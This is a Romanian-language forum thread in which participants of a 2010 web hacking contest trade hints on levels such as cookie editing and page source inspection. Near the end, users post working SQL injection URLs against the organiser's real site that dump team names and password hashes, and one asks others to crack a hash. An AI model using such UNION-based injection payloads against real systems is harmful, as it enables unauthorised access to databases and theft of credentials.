Concurs Break If You Can

[bylosul93]

Pe 13 februarie va avea loc concursul de "Hacking" "Break If You Can".

Mai multe detalii gasiti aici :http://felicity.iiit.ac.in/break/

Succes!

[trxtxx]

Hi,   ir7ioli

Score 50 

NU pot sa fac lvl 5 nu inteleg ce trebuie

[CyberWolf08]

Care e lvl 5, ca vad ca dupa ce le faci nu ti le mai afiseaza?

Edited February 12, 2010 by CyberWolf08

[trxtxx]

mie imi arata toate 6, trebuie sa incepi sa le faci de la 1 la 4 sa iti scoata ultimele 2 in fine...apuca-te sa le faci si dupa vorbim cand te blokezi la 5

[Guest Nemessis]

Hi,   ir7ioli

Score 50 

NU pot sa fac lvl 5 nu inteleg ce trebuie

Modifica cookie

[trxtxx]

am facut si am reusit, nu am fost atent ca am vreo 10 site-uri deschise si imi tot apareau numai prostii si am inchis tamper-ul.oricum multumesc CyberWolf08 pt idee

[curiosul]

eh kkt...m-am blocat la 3.. litle hint ceva?

[Guest Nemessis]

Sursa paginii

[denjacker]

in 5 min am facut de la 2 la 6 . Nu ma prind la prima. wtf ? : ))

LE: done

Edited February 12, 2010 by denjacker

[trxtxx]

heheh sunt pe locul 4

[curiosul]

in 5 min am facut de la 2 la 6 . Nu ma prind la prima. wtf ? : ))

LE: done

:O vorbesti serios man?

La 3 din cate vad tre sa modific sursa...sa bag codul meu in sursa la aia...

Cum fac asta?

edit: nu le am cu astea dar doresc sa invat

Edited February 12, 2010 by curiosul

[denjacker]

cu FF in viewsource nu-mi arata commenturile..si ma uitam ca vita.

Banuiam ceva cu POST-ul ala si tot incercam cu index.php?password=1..etc

Noroc cu Web Developer Addon - Edit HTML

@curiosul uite-te in sursa si vezi ca-ti da un fisier mura-n-gura

Edited February 12, 2010 by denjacker

[gamer]

cine ma ajuta cu 4 si cu 6?

am incercat la 4 sa modific valoarea la email printrun javascript dar nu am reusit

[denjacker]

la 4 sunt doua posibilitati : javascript injection sau editezi pur si simplu continutul paginii ..

LE : M-am grabit cu explicatia la 6.

acolo se pierde tot farmecul daca spun ceva...

Edited February 12, 2010 by denjacker

[curiosul]

Da la 3 ce tre sa faci de fapt? Sa modifici sursa sau sa pui in browser codul ala cu hiden:D

Poate o sa reusesc sa-l fac si pe 3

[trxtxx]

pt 3 fi mai atent ce scrie acolo, nu ai cum sa nu iti dai seama, trebuie doar sa fi atent

la 4 si 6 foloseste Firefox Add-on "FIREBUG"

5 Tamper data

[denjacker]

mai joaca cineva ? ca au pus altele mai nasoale : )

[denjacker]

sorry de double post.

tocmai au fost sparti baietii si mi-au taiat pofta de joaca:

http://felicity.iiit.ac.in/cachein/teaminfo.php?teamName=break-cachein%27+union+all+select+1,2,3,4,5,concat%28teamName%29,7,8,9,10,11,12%20f+from+Users1--+

autor: nepalihacker

[CrashOverline]

hehe, cine imi decrypteaza si mie hashu?

http://felicity.iiit.ac.in/cachein/teaminfo.php?teamName=break-cachein'+union+all+select+1,2,3,4,5,concat(user(),'|-|',passwd,'|-|',database(),'|-|',@@version),7,8,9,10,11,12%20f+from+Users1--+

ps: nepalihacker a luat concursul prea in serios

[devianc3]

Poate cineva sa`mi dea un indiciu mai evident la 1?... can`t seem to get around.

[denjacker]

te uiti in sursa ... si deacolo ai o singura posibilitate sa ajungi intr-o alta pagina/fisier.

acolo cercetezi foarte atent... adânc as putea spune.

[Hertz]

Primele 6 nivele sunt prea usoare.

Nivelul 7 e tampit , nu gasesc punctul de injectare

O fii Blind ?